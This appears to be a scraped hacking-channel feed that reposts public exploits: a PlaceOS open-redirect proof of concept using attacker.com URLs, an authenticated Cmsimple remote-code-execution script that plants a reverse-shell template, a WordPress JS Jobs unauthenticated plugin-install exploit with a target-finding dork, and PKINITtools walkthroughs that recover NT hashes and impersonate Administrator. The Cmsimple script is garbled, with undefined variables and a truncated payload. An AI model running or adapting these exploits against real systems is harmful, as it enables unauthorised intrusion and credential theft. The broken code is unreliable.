Hacking Articles Tips Tricks Videos Tutorials

Pharmacy Point Of Sale System 1.0 SQL Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

8 viewsedited 20:05

6 views20:05

Exploit Collector
PlaceOS 1.2109.1 Open Redirection

https://2.bp.blogspot.com/-x_QP5QrO-tY/WWlvkxoh72I/AAAAAAAAIQ4/t-2dHNJyeE0-qZNxsCg7sgdho_ipgPgbgCLcBGAs/s1600/h98.png
PlaceOS version 1.2109.1 suffers from an open redirection vulnerability.

MD5 | 6f70e87acde8d9e251e8e05831b475b8

Download

# Exploit Title: PlaceOS 1.2109.1 - Open Redirection
# Date: 29-09-2021
# Exploit Author: Hamza Khedr @ Accenture Austalia AARO Team
# Vendor Homepage: https://place.technology/
# Software Link: https://github.com/PlaceOS
# Version: < 1.29.10
# Tested on: Ubuntu 20.04
# CVE: CVE-2021-41826
#
#
# PoC:  "https://office.example.com/auth/logout?continue=//attacker.com"
#           "https://office.example.com/auth/logout?continue=.attacker.com"
#           "https://office.example.com/auth/logout?continue=:password@attacker.com"
#
#
# Reference: https://github.com/PlaceOS/auth/issues/36
#                  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41826
#                  https://nvd.nist.gov/vuln/detail/CVE-2021-41826

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

PlaceOS 1.2109.1 Open Redirection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

6 viewsedited 20:05

Exploit Collector
Cmsimple 5.4 Remote Code Execution

https://1.bp.blogspot.com/-q1b99IBpI9c/WWlu5sPD0hI/AAAAAAAAIJI/No13BTu40mUIIhRH8r1ULckiDMJCd7zkQCLcBGAs/s1600/h106.png
Cmsimple version 5.4 authenticated remote code execution exploit.

MD5 | 46792c26a9315734cd7d64fb53dadde5

Download

# Exploit Title: Cmsimple 5.4 - Remote Code Execution (RCE) (Authenticated)
# Date: 29.09.2021
# Exploit Author: pussycat0x
# Vendor Homepage: https://www.cmsimple.org/
# Version: 5.4
# Tested on: ubuntu-20.04.1

import argparse
from bs4 import BeautifulSoup
from argparse import ArgumentParser
import requests
parser= ArgumentParser(description="cmsimple ", epilog='cmsimpleRCE.py -url targetdomai.com -u username -p password -ip lhost -lp lport')
rparser = parser.add_argument_group('required argument')
rparser.add_argument('-url','--host', type=str, help='target domain',required=True)
rparser.add_argument('-u' ,'--username', type=str, help='', required=True)
rparser.add_argument('-p','--password',type=str,help='', required=True)
rparser.add_argument('-ip','--lhost',type=str,help='listener ip', required=True)
rparser.add_argument('-lp','--lport', type=str,help='listener port', required=True)
args= parser.parse_args()
#url ='192.168.1.106'
s = requests.Session()

def main():
try:

url =(args.host)
payload = {
'user':args.username,
'passwd':args.password,
'submit': 'Login',
'login':'true',
}
login=s.post(url +'/?Welcome_to_CMSimple_5',data=payload)
if login.status_code == 200:
print('Exploit Completed')
else:
print("Invalid Credential")
cook =(login.cookies.get_dict())
temp = s.get(url +'/?file=template&action=edit', cookies=cook)
soup = BeautifulSoup(temp.text, 'lxml')
csrfToken = soup.find('input',attrs = {'name':'csrf_token'})['value']
#&1'"); 
rev = """&1'");"""
php =(rev+rev2+'/'+rev3+rev4)
revpayload = {
'cmsimpleDataFileStored':'cmsimpleDataFileStored',
'csrf_token':csrfToken,
'text':php,
'file':'template',
'action':'save',
}
shell = s.post(url +'/',cookies=cook , data=revpayload)
exec = s.get(url+'/')
exit()
except:
pass
main()

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Cmsimple 5.4 Remote Code Execution

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

6 viewsedited 20:05

6 views20:05

5 views20:05

Exploit Collector
WordPress JS Jobs Manager 1.1.7 Authorization Bypass

https://3.bp.blogspot.com/-cErR-NKa5pU/WWlvUH06dSI/AAAAAAAAINw/w0uVuk51vEgh40coJSJAKFsc2nT9tBwYgCLcBGAs/s1600/h44.png
WordPress JS Jobs Manager plugin version 1.1.7 suffers from an unauthenticated plugin installation and activation vulnerability.

MD5 | 8eca915fb4f15e7023de60a4621b9bca

Download

# Exploit Title: Wordpress Plugin JS Jobs Manager 1.1.7 - Unauthenticated Plugin Install/Activation
# Google Dork: inurl:/wp-content/plugins/js-jobs/
# Date: 22/09/2021
# Exploit Author: spacehen
# Vendor Homepage: https://wordpress.org/plugins/js-jobs/
# Version: <=
# Tested on: Ubuntu 20.04.1

import os.path
from os import path
import json
import requests;
import sys

def print_banner():
print("JS Job Manager <=
print("Author -> space_hen (www.github.com/spacehen)")
def print_usage():
print("Usage: python3 exploit.py [target url] [plugin slug]")
print("Ex: python3 exploit.py https://example.com advanced-uploader")
print("Note: To activate plugin successfully, main plugin file")
print("should match slug, i.e ./plugin-slug/plugin-slug.php")

def vuln_check(uri):
response = requests.get(uri)
raw = response.text

if ("Not Allowed!" in raw):
return True;
else:
return False;

def main():

print_banner()
if(len(sys.argv) != 3):
print_usage();
sys.exit(1);

base = sys.argv[1]
slug = sys.argv[2]

ajax_action = 'jsjobs_ajax'
admin = '/wp-admin/admin-ajax.php';

uri = base + admin + '?action=' + ajax_action ;
check = vuln_check(uri);

if(check == False):
print("(*) Target not vulnerable!");
sys.exit(1)

data = {
"task" : "installPluginFromAjax",
"jsjobsme" : "jsjobs",
"pluginslug" : slug
}
print("Installing plugin...");
response = requests.post(uri, data=data )
print("Activating plugin...");

data = {
"task" : "activatePluginFromAjax",
"jsjobsme" : "jsjobs",
"pluginslug" : slug
}
response = requests.post(uri, data=data )

main();

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

WordPress JS Jobs Manager 1.1.7 Authorization Bypass

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

6 viewsedited 20:06

Exploit Collector
Azure Active Directory Brute Forcer

https://3.bp.blogspot.com/-3DxkerR7uq4/WWlu9h9UGfI/AAAAAAAAIJw/dRDCcwrw3XEGYQWUo-AXJEEU7FQ8iTgpACLcBGAs/s1600/h115.png
This code is a proof-of-concept of the recently revealed Azure Active Directory password brute-forcing vulnerability announced by Secureworks.

MD5 | a509698c91d88aa977601bdd44458a39

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Azure Active Directory Brute Forcer

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 viewsedited 20:06

KitPloit - PenTest & Hacking Tools

PKINITtools - Tools For Kerberos PKINIT And Relaying To AD CS
http://www.kitploit.com/2021/09/pkinittools-tools-for-kerberos-pkinit.html

___________________________
@hacking_Attack
@Hacking_Video

PKINITtools - Tools For Kerberos PKINIT And Relaying To AD CS

5 viewsedited 20:46

minikerberos/minikerberos at master · skelsec/minikerberos

This repository contains some utilities for playing with PKINIT and certificates.
The tools are built on minikerberos (https://github.com/skelsec/minikerberos/tree/master/minikerberos) and impacket (https://github.com/SecureAuthCorp/impacket). Accompanying blogpost with more context: https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/
Installation
These tools are only compatible with Python 3.5+. Clone the repository from GitHub, install the dependencies and you should be good to go: impacket minikerberos ">git clone https://github.com/dirkjanm/PKINITtools
pip3 install impacket minikerberos Using a virtualenv for this is recommended.
Tools

gettgtpkinit.py
Request a TGT using a PFX file, either as file or as base64 encoded blob, or PEM files (https://www.kitploit.com/search/label/PEM%20files) for cert+key. This uses Kerberos (https://www.kitploit.com/search/label/Kerberos) PKINIT and will output a TGT into the specified ccache. It will also print the AS-REP encryption (https://www.kitploit.com/search/label/Encryption) key which you may need for the getnthash.py tool. Usage example: username in the cert ccache ccache file to store the TGT in optional arguments: -h, --help show this help message and exit -cert-pfx file PFX file -pfx-pass password PFX file password -pfx-base64 BASE64 PFX file as base64 string -cert-pem file Certificate in PEM format -key-pem file Private key file in PEM format -dc-ip DC_IP DC IP or hostname to use as KDC -v, --verbose (PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.py testsegment.local/s2019dc\$ -cert-pfx ~/impacket-py3/cert.pfx -pfx-pass hoi s2019dc.ccache 2021-07-27 21:25:24,299 minikerberos INFO Loading certificate and key from file 2021-07-27 21:25:24,316 minikerberos INFO Requesting TGT 2021-07-27 21:25:24,333 minikerberos INFO AS-REP encryption key (you might need this later): 2021-07-27 21:25:24,333 minikerberos INFO 5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3 2021-07-27 21:25:24,336 minikerberos INFO Saved TGT to file ">(PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.py -h
usage: gettgtpkinit.py [-h] [-cert-pfx file] [-pfx-pass password] [-pfx-base64 BASE64] [-cert-pem file] [-key-pem file] [-dc-ip DC_IP] [-v]
domain/username ccache

Requests a TGT using Kerberos PKINIT and either a PEM or PFX based certificate+key

positional arguments:
domain/username Domain and username in the cert
ccache ccache file to store the TGT in

optional arguments:
-h, --help show this help message and exit
-cert-pfx file PFX file
-pfx-pass password PFX file password
-pfx-base64 BASE64 PFX file as base64 string
-cert-pem file Certificate in PEM format
-key-pem file Private key file in PEM format
-dc-ip DC_IP DC IP or hostname to use as KDC
-v, --verbose

(PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.p y testsegment.local/s2019dc\$ -cert-pfx ~/impacket-py3/cert.pfx -pfx-pass hoi s2019dc.ccache
2021-07-27 21:25:24,299 minikerberos INFO Loading certificate and key from file
2021-07-27 21:25:24,316 minikerberos INFO Requesting TGT
2021-07-27 21:25:24,333 minikerberos INFO AS-REP encryption key (you might need this later):
2021-07-27 21:25:24,333 minikerberos INFO 5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3
2021-07-27 21:25:24,336 minikerberos INFO Saved TGT to file

getnthash.py
Use Kerberos U2U to submit a TGS request for yourself. This will include with the PAC which in turn contains the NT hash that you can decrypt with the AS-REP key that was used for your specific TGT. It's magic really. This tool requires a TGT resulting from PKINIT to be in your KRB5CCNAME env variable. Usage: (PKINITtools) user@localhost:~/PKINITtools$ python getnthash.py -h

___________________________
@hacking_Attack
@Hacking_Video

GitHub

Kerberos manipulation library in pure Python. Contribute to skelsec/minikerberos development by creating an account on GitHub.

5 viewsedited 20:46

Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

usage: getnthash.py [-h] -key KEY [-dc-ip ip address] [-debug] identity

positional arguments:
identity domain/username

optional arguments:
-h, --help show this help message and exit
-key KEY AS REP key from gettgtpkinit.py
-dc-ip ip address IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter
-debug Turn DEBUG output ON

(PKINITtools) user@localhost:~/PKINITtools$ export KRB5CCNAME=s2019dc.ccache
(PKINITtools) user@localhost:~/PKINITtools$ python getnthash.py testsegment.local/s2019dc\$ -key 5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Using TGT from cache
[*] Requesting ticket to se lf with PAC
Recovered NT Hash
fa6b130d73311d1be5495f589f9f4571

gets4uticket.py
Uses Kerberos S4U2Self to request a service ticket that is valid on the host for which you've obtained a certificate. This ticket can then be used to interact with the original host. This only requires a TGT for the machine account of this host. This TGT should be in a ccache file that you specify in the kerberos_connection_url. The only accepted kerberos_connection_url for this example is one containing a ccache file, so for example kerberos+ccache://domain.local\\victimhostname\$:victimhostname.ccache@kdchostname.domain.local. The SPN should be a service name on the host you are impersonating, you can't use this for delegation attacks (since it does not implement S4U2Proxy, there are plenty of tools already for that). Usage: spn the service principal in format /@ Example: cifs/fileserver.test.corp@TEST.corp for a TGS ticket to be used for file access on server "fileserver". IMPORTANT: SERVER'S HOSTNAME MUST BE USED, NOT IP!!! targetuser ccache ccache file to store the TGT ticket in optional arguments: -h, --help show this help message and exit -v, --verbose (PKINITtools) user@localhost:~/PKINITtools$ python gets4uticket.py kerberos+ccache://testsegment.local\\s2019dc\$:s2019dc.ccache@s2016dc.testsegment.local cifs/s2019dc.testsegment.local@testsegment.local Administrator@testsegment.local out.ccache -v 2021-07-28 10:09:13,687 minikerberos INFO Trying to get SPN with Administrator@testsegment.local for cifs/s2019dc.testsegment.local@testsegment.local 2021-07-28 10:09:13,695 minikerberos INFO Success! 2021-07-28 10:09:13,696 minikerberos INFO Done! ">(PKINITtools) user@localhost:~/PKINITtools$ python gets4uticket.py -h
usage: gets4uticket.py [-h] [-v] kerberos_connection_url spn targetuser ccache

Gets an S4U2self ticket impersonating given user

positional arguments:
kerberos_connection_url
the kerberos target string in the following format kerberos+ccache://domain\user:file.ccache@
spn the service principal in format /@ Example: cifs/fileserver.test.corp@TEST.corp for a
TGS ticket to be used for file access on server "fileserver". IMPORTANT: SERVER'S HOSTNAME MUST BE USED, NOT IP!!!
targetuser
ccache ccache file to store the TGT ticket in

optional arguments:
-h, --help show this help message and exit
-v, --verbose

(PKINITtools) user@localhost:~/PKINITtools$ python ge ts4uticket.py kerberos+ccache://testsegment.local\\s2019dc\$:s2019dc.ccache@s2016dc.testsegment.local cifs/s2019dc.testsegment.local@testsegment.local Administrator@testsegment.local out.ccache -v
2021-07-28 10:09:13,687 minikerberos INFO Trying to get SPN with Administrator@testsegment.local for cifs/s2019dc.testsegment.local@testsegment.local
2021-07-28 10:09:13,695 minikerberos INFO Success!
2021-07-28 10:09:13,696 minikerberos INFO Done!

License
MIT
Credits

___________________________
@hacking_Attack
@Hacking_Video

8 viewsedited 20:46